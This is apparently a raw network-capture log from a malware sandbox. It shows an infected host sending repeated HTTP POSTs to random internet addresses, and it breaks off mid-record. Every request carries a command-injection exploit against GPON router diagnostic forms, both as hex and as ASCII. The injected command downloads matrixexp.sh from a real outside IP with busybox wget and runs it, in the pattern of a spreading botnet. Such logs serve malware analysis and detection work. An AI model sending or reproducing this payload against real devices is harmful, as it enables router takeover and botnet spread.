Mar 21, 2024 05:25:22.995634079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.23	36432	79.55.9.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995652914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.23	59774	109.135.161.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995672941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.23	35552	2.32.100.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995718956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.23	48942	42.134.33.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995729923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.23	43532	2.83.44.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995734930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.23	56780	212.48.230.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995738983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.23	41424	94.243.4.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995739937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.23	56658	118.56.62.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995774031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.23	54084	79.28.221.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995805025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.23	45896	212.87.10.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995850086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.23	53368	5.253.62.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995871067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.23	48086	94.255.20.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995902061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.23	33300	5.205.86.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995912075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.23	36012	5.210.234.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995932102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.23	57276	94.107.222.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995942116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.23	47818	79.127.209.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995970011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.23	48154	79.222.190.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.995980978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.23	53394	210.118.65.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.996041059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.23	36128	94.152.205.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.996051073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
304	192.168.2.23	35916	178.98.14.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.996068001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
305	192.168.2.23	57814	2.108.105.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.996082067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
306	192.168.2.23	39970	37.79.240.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.996165991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
307	192.168.2.23	37808	42.58.44.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:22.996170998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
308	192.168.2.23	46756	5.30.94.98	443

Timestamp	Bytes transferred	Direction	Data
